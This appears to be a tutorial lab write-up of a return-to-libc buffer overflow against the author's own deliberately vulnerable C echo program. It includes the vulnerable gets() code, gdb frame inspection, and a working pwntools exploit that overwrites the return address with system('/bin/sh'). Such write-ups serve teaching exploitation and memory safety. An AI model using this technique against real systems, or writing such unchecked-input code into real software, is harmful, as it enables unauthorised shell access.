Return-to-libc 1
#include <stdio.h>
#include <stdlib.h>char binsh[] = "/bin/sh";int main(void) {
echo();
return 0;
}void echo(void) {
char data[20];
gets(data); //writes input into data array
printf("%s\n", data);
}
Finding Vulnerability
The program implements a simple echo server: gets some input, prints it, quits.
We know that the stack is not executable because
NX
is enabled. Therefore no code injection is possible.
marco@testbed:~/2020/ret2libc$ checksec ropme
[*] '/home/marco/2020/ret2libc/ropme'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Return-to-libc attacks are a way to bypass stack protections like DEP/W  X.
Program is vulnerable because of
gets()
(no boundary checking).
We want to call the libc function
system("/bin/sh")
Exploting Vulnerability
We find the required addresses:
main()
function
0x0804849a
echo()
function
0x08048477
system
library0xf7e26200
binsh
variable
0x0804a020
We set a breakpoint inside the
echo
function and enter 16x
'A'
.
We want the location of the saved
eip
of the caller
(which ismain
in this case)
in order to overwrite its value with the address of
system
.
Starting program: /home/marco/2020/ret2libc/ropme < <(python3 -c "print('A'*16)")
Breakpoint 1, 0x0804849a in main ()
Breakpoint 2, 0x08048477 in echo ()(gdb) info frame
Stack level 0, frame at 0xffffd640:
eip = 0x8048477 in echo; saved eip = 0x80484ac
called by frame at 0xffffd660
Arglist at 0xffffd638, args:
Locals at 0xffffd638, Previous frame's sp is 0xffffd640
Saved registers:
ebx at 0xffffd634, ebp at 0xffffd638, eip at 0xffffd63c
How to read
: At this moment the "saved eip" / return address
ret
has the value
0x80484ac
0x000...
| ... |
|---------------| <= esp
| ... |
| data |
| ... |
|---------------| <= ebp (0xffffd640)
| sfp (old ebp) |
| ret adr |
|---------------|
| ... | <- main()
0xFFF...
Now we calculate the padding size to overwrite
ret
.
Final payload:
#!/usr/bin/python2import sys
from pwn import *def main():
binsh = p32(0x0804a020)
system = p32(0xf7e26200)p = process(sys.argv[1])
p.sendline('A'*32 + system + 'B'*4 + binsh)
p.interactive()if __name__ == '__main__':
main()
would overwrite the return adress to
system
with the right argument (
binsh
).
(gdb) x/40wx $esp0xffffd610: 0xf7fc1000 0xf7fc1000 0x00000000 0x41414141
0xffffd620: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd630: 0x41414141 0x41414141 0x41414141 0xf7e26200 <- system
0xffffd640: 0x42424242 0x0804a020 <- binsh ...000 0xf7e01e81
0xffffd650: 0xf7fc1000 0xf7fc1000 0x00000000 0xf7e01e81
0xffffd660: 0x00000001 0xffffd6f4 0xffffd6fc 0xffffd684
0xffffd670: 0x00000001 0x00000000 0xf7fc1000 0xf7fe575a
0xffffd680: 0xf7ffd000 0x00000000 0xf7fc1000 0x00000000
0xffffd690: 0x00000000 0x246bc54f 0x1bfb835f 0x00000000
0xffffd6a0: 0x00000000 0x00000000 0x00000001 0x08048340